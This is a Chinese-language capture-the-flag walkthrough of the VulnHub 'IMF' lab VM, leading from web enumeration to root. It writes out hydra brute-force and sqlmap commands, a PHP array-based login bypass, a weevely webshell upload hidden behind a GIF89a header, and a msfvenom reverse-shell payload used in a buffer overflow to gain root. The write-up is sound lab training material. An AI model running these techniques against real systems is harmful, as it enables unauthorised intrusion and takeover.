靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。
目标:得到root权限&找到六个flag.txt
作者:嗯嗯呐
信息收集
Nmap 扫描,确认靶机地址
nmap端口扫描
只发现了80端口
访问80端口
在concat.php网页源代码中发现了第一个flag
在介绍中说明每找到一个flag会得到第二个flag提示
Flag1应该是base64编码的,对flag1进行解码
获得明文 allthefiles,但是没懂什么意思
在源代码页面中发现有几个JS的名字不太对劲,像是base64编码的
对eVlYUnZjZz09fQ==文件名进行解码
发现失败,感觉应该是三个文件名字在一起组合成一个文件,这里明白了flag1的提示
获得flag2,并对flag2解码
获得明文imfadministrator
看一看是不是目录
一个登陆界面
通过常用的admin 等用户试了试感觉不行,看网页源代码。
提示:我不能让SQL工作,所以我硬编码的密码。它仍然很安全。——罗杰
sqlmap没跑出来结果
界面的报错机制,提示不存在此用户名,可以借此试试能不能先猜出用户名
在之前访问的contacct.php界面中,在三个人员的名字,可以把它们分别试一下进去看看
PHP数组绕过
rmichaels用户存在,试试能不能爆破出密码
使用hydra爆破密码
hydra -l rmichaels -P /usr/share/wordlists/rockyou.txt 192.168.16.140 http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:error"
获得13个密码,但是都登陆失败
使用Burp Suite截取登陆是的数量包
截取登陆数据包
因为提示说明对于参数输入的内容进行了处理,sql注入看来是不行了,只能从其他方面入手了
这里我们利用PHP利用数组‘[ ]’绕过,试一试后台是否使用了不安全的函数进行对密码的验证
php中可以使用数组’[ ]‘绕过的函数有:
sha1
MD5
ereg
strpos
Strcmp
(注:不包括全部)
获得flag3,对flag3解码看提示
获得明文:continueTOcms
在获取flag3的地方,还有一个PHP链接
在前台登陆一下看看web界面,访问这个超链接
在这里可以使用Burp Suite阻断登陆数据包,将pass参数改为数组格式,放开阻断,就可以登陆了
访问IMF CMS超链接
看来半天网页源代码,没发现什么问题,就在参数上看看,发现返回mysql报错,看来可以sql注入了
使用sqlmap跑一个,pagename参数存在盲注
sqlmap -u 'http://192.168.16.140/imfadministrator/cms.php?pagename=disavowlist' --cookie 'PHPSESSID=7npsgt1p3dh5nmvhhc09r501l0'
进过查询我们进入了admin库,pages表
发现了一个目录下有一个文件,试着访问
一个图片中有一个二维码,解析以下看看,发现flag4
解码flag4
getshell
获得一个php访问界面,访问发现是一个文件上传界面,上传过滤文件类型,可上传png、jpg等文件格式
http://192.168.16.140/imfadministrator/uploadr942.php
此次可以上传jpg、png、gif等文件
使用php一句话木马上传文件,靶机使用waf对eval()等函数进行了过滤,需要做一个绕过waf等检查机制,可以使用linux中weevely生成一个PHP木马
weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php)
将木马和png、jpg等格式进行拼接,上传注入,需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析。
测试发现靶机不支持
我们可以使用gif89a文件头欺骗,配置如下:
上传成功
查看网页源代码,获得gif文件上传到服务器的文件名称b9655da8b680
找到上传的文件路径
使用weevely连接
获得www-data用户shell
获得flag5
解码获得提示:agentservices
缓冲区溢出提权
提示为代理服务
通过提示在靶机中查询agent运行的文件
find / -name agent &>1/dev/unll
&>1/dev/unll:将错误输出到/dev/unll,只显示正确结果
在这两个目录下有agnet文件
进入bin目录,发现两个文件
agnet是ELF 32位执行文件
access_codes,发现提示SYN 7482,8279,9467
提示端口试探,使用knock命令试探一下
查一下端口发现服务器运行7788应该就是agent的端口了
但是前面nmap没有扫描到,端口试探应该是针对这个端口的
nmap扫描发现了7788端口
nc连接一下看看,需要使用agent ID
将agent文件下载到本地
file_download /usr/local/bin/agent /root/agent
赋执行权限,使用ltrace跟踪agent在执行过程中调用库函数的情况
在fgets初随便输入内容,strncmp函数进行将我们输入的内容和agent ID进行对比
再此我们获得agent ID 48093572
执行agent,输入正确的agent
获得三个选项
- 提取分
- 请求提取
3.提交报告
看来通过缓冲区溢出agent进程,获得root权限了
为agent进程创建一个shell
使用msfvenom创建一个shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.16.129 LPORT=6666 -b “\x00\x0a\x0” -f python -o 2.py
-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
-f 指定生成xxx格式
-o 输入路径和文件
使用大佬写的py脚本,将生成的内容,替换python脚本内容
nc监测6666端口
执行python脚本,
反弹shell,获得靶机root权限
获得flag6
Base64解码
完成!!!
总结
这个靶机设计的方面很多,在缓冲区溢出这里卡了好几天,才基本明白一点利用方式和原理,建议想做flag6的,但不太明白缓冲区溢出原理的,到flag6时先去B站看一看视频,至少不会一头雾水了。
上面只是一种思路,仅供参考。本章渗透思路如下图: